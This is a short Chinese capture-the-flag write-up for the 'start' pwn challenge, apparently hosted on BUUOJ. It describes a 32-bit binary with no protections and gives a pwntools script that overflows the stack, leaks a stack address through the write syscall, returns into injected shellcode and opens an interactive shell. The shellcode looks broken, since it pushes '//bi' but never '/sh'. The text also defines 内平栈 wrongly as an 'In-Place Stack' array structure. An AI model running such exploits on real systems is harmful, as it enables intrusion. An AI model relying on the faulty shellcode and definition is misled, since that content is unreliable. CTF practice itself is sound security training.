pwnable_start
照例先checksec一下
一个啥保护都没开的32位程序 放进ida里瞅瞅
无法反编译 所幸程序比较短也比较简单 还在理解范围内
此处使用了int 80系统调用 查表可知3和4分别是read函数和write函数
因此可以翻译成:
write(1,0x14)
read(0x3C)
通过add esp,14h可知esp距离ret地址0x14字节(即栈长度为0x14)
此处使用内平栈
- 内平栈(In—Place Stack)是一种特殊的栈,可以在一个给定的数组中存储元素,并可以支持压栈和弹栈操作,且不需要额外的内存空间。
考虑使用ret2shellcode
exp:
from pwn import *
io=remote('node4.buuoj.cn',27655)
write_addr=0x8048087
payload = 'a'*0x14 + p32(write_addr)#write_addr指的是start函数中write系统调用的地址
io.sendlineafter("Let's start the CTF:",payload)
stack_addr = u32(io.recv(4))#通过gdb调试可知 此时esp里的值是栈上0x8048087地址里的内容,这样就把栈上的地址给泄露了出来。
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
io.send(payload)
io.interactive()